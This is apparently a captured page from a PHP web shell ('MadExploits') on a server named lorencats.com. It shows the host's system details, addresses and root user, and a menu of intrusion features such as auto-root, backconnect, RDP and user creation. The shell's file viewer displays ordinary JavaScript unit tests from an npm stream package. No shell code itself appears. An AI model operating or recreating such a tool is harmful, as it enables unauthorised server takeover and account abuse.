Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.10
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
npm /
node_modules /
sorted-union-stream /
[ HOME SHELL ]
Name
Size
Permission
Action
node_modules
[ DIR ]
drwxr-xr-x
.travis.yml
58
B
-rw-r--r--
README.md
1.39
KB
-rw-r--r--
example.js
313
B
-rw-r--r--
index.js
1.14
KB
-rw-r--r--
package.json
1.66
KB
-rw-r--r--
test.js
2.99
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : test.js
var Readable = require('stream').Readable var tape = require('tape') var union = require('./') tape('numbers', function (t) { var a = new Readable({objectMode: true}) var b = new Readable({objectMode: true}) a._read = b._read = function () {} a.push(4) a.push(6) a.push(10) a.push(14) a.push(15) a.push(20) a.push(22) a.push(null) b.push(6) b.push(11) b.push(20) b.push(null) var u = union(a, b) var expected = [4, 6, 10, 11, 14, 15, 20, 22] u.on('data', function (data) { t.same(data, expected.shift()) }) u.on('end', function () { t.same(expected.length, 0, 'no more data') t.end() }) }) tape('string', function (t) { var a = new Readable({objectMode: true}) var b = new Readable({objectMode: true}) a._read = b._read = function () {} a.push('04') a.push('06') a.push('10') a.push('14') a.push('15') a.push('20') a.push('22') a.push(null) b.push('06') b.push('11') b.push('20') b.push(null) var u = union(a, b) var expected = ['04', '06', '10', '11', '14', '15', '20', '22'] u.on('data', function (data) { t.same(data, expected.shift()) }) u.on('end', function () { t.same(expected.length, 0, 'no more data') t.end() }) }) tape('objects', function (t) { var a = new Readable({objectMode: true}) var b = new Readable({objectMode: true}) a._read = b._read = function () {} a.push({key: '04'}) a.push({key: '06'}) a.push({key: '10'}) a.push({key: '14'}) a.push({key: '15'}) a.push({key: '20'}) a.push({key: '22'}) a.push(null) b.push({key: '06'}) b.push({key: '11'}) b.push({key: '20'}) b.push(null) var u = union(a, b) var expected = [{key: '04'}, {key: '06'}, {key: '10'}, {key: '11'}, {key: '14'}, {key: '15'}, {key: '20'}, {key: '22'}] u.on('data', function (data) { t.same(data, expected.shift()) }) u.on('end', function () { t.same(expected.length, 0, 'no more data') t.end() }) }) tape('custom objects', function (t) { var a = new Readable({objectMode: true}) var b = new Readable({objectMode: true}) a._read = b._read = function () {} a.push({bar: '04'}) a.push({bar: '06'}) a.push({bar: '10'}) a.push({bar: '14'}) a.push({bar: '15'}) a.push({bar: '20'}) a.push({bar: '22'}) a.push(null) b.push({bar: '06'}) b.push({bar: '11'}) b.push({bar: '20'}) b.push(null) var u = union(a, b, function (data) { return data.bar }) var expected = [{bar: '04'}, {bar: '06'}, {bar: '10'}, {bar: '11'}, {bar: '14'}, {bar: '15'}, {bar: '20'}, {bar: '22'}] u.on('data', function (data) { t.same(data, expected.shift()) }) u.on('end', function () { t.same(expected.length, 0, 'no more data') t.end() }) }) tape('destroy stream', function (t) { var a = new Readable({objectMode: true}) var b = new Readable({objectMode: true}) a._read = function () {} b._read = function () {} t.plan(2) a.destroy = function () { t.ok(true) } b.destroy = function () { t.ok(true) } union(a, b).destroy() })
Close